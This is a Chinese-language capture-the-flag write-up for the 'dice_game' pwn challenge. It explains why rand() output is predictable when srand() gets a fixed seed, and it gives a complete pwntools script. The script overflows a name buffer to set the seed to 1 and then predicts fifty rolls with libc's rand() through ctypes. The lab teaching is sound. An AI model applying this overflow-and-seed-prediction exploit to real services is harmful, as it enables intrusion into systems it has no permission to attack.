CTF中的PWN——srand()/rand()漏洞(栈溢出)

 摘要:    

    本以为自己栈溢出学的不错了,挑战了一下攻防世界的PWN高手进阶,发现栈溢出还是有很多相关的漏洞,今天总结一下srand()函数的漏洞。

srand()/rand():

    简单介绍一下这两个函数:

  • rand()函数是使用线性同余法做的,它并不是真的随机数,因为其周期特别长,所以在一定范围内可以看成随机的。
  • srand()为初始化随机数发生器,用于设置rand()产生随机数时的种子。传入的参数seed为unsigned int类型,通常我们会使用time(0)或time(NULL)的返回值作为seed。

    个人理解:当对随机性要求不高的时候可以直接使用rand()函数是没问题的,但是因为其并不是真的随机数,只是在一定范围内是随机的而已,有周期的。但如若设置了随机数发生器,并以时间戳为种子,这样就加强了随机性的强度。

    注:怎么利用这两个函数的风险呢,这里有两个特点,

  • 程序第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand(),自动调用传参值为1;
  • 使用相同种子(srand函数传参值相同),调用 rand()生成的是相同随机数序列。

题目:攻防世界(dice_game):

    老样子查看程序信息,可以看到只有金丝雀没有开启:

CTF中的PWN——srand()/rand()漏洞(栈溢出)_第1张图片

    拖入IDA64中静态分析:

CTF中的PWN——srand()/rand()漏洞(栈溢出)_第2张图片

     可以看到有一个设有时间戳为参数的srand()函数,进入A20函数中查看逻辑:

CTF中的PWN——srand()/rand()漏洞(栈溢出)_第3张图片

     分析发现函数逻辑为输入与随机数 % 6 + 1相比,相等返回1,而调用者收到返回1时继续循环,不然break,但是我们需循环50次使v8为50才能拿到flag,而校验函数中每次都是随机生成的,怎么才能猜到rand()每次生成的序列值呢?如果前面的srand的种子为一定值即可猜到随机序列。

    所以此题思路为寻找溢出点,使seed的值为一定值,然后我们在脚本中调用动态库中的srand及rand函数即可。这里又有新的问题了,怎么在脚本中调用动态库中的程序呢,以前是使用plt表+栈溢出进行调用的,本题无法进行上述操作怎么办呢,这里在介绍一个新的python库(人生苦短,我用python),ctypes。。。from ctypes import * 。使用cdll.LoadLibrary('')代替以前的ELF('')即可,调用动态库的函数。

    针对动态库函数的调用个人暂时的理解:什么情况程序在编译前加载了动态库呢,比如我们要使用的print家族、puts、等等未在程序里声明的函数,需要通过引用动态库,里面就有程序不用声明就能进行调用的函数,比如此题的srand与rand,因为未在程序中声明定义,所以就需要用到动态库了。

    回到题目中,因为需要满足50次条件,只需要输入循环50次有序序列(调用50此rand())即可,payload如下:

from pwn import *
from ctypes import *

context.log_level = "debug"

p = remote('111.198.29.45',44789)
#p = process('./dice_game')
elf = cdll.LoadLibrary('libc.so.6')

payload = 'A' * 64 + p64(1)
p.recvuntil('Welcome, let me know your name: ')
p.sendline(payload)
elf.srand(1)

for i in range(0,50):
    p.recvuntil('Give me the point(1~6): ')
    payload = str(elf.rand() % 6 + 1)
    p.sendline(payload)
p.recv()
p.interactive()

    :脚本中有一个坑点,就是sendline()中的参数是字符型的,不能是数字型的,所以数字参数需要str()一下即可。

总结:

  • 基于srand与rand函数的风险,利用栈溢出随机数发生器参数为定值,使rand生成可预测的序列。
  • PWN也要和逆向一样读懂程序的逻辑,这方面有待加强。
  • 写脚本时候的sendline方法参数是字符型。
  • ctypes包的cdll.LoadLibrary('libc.so.xxx')可以在在脚本中加载动态库,同时又能调用库中的函数。

你可能感兴趣的:(PWN)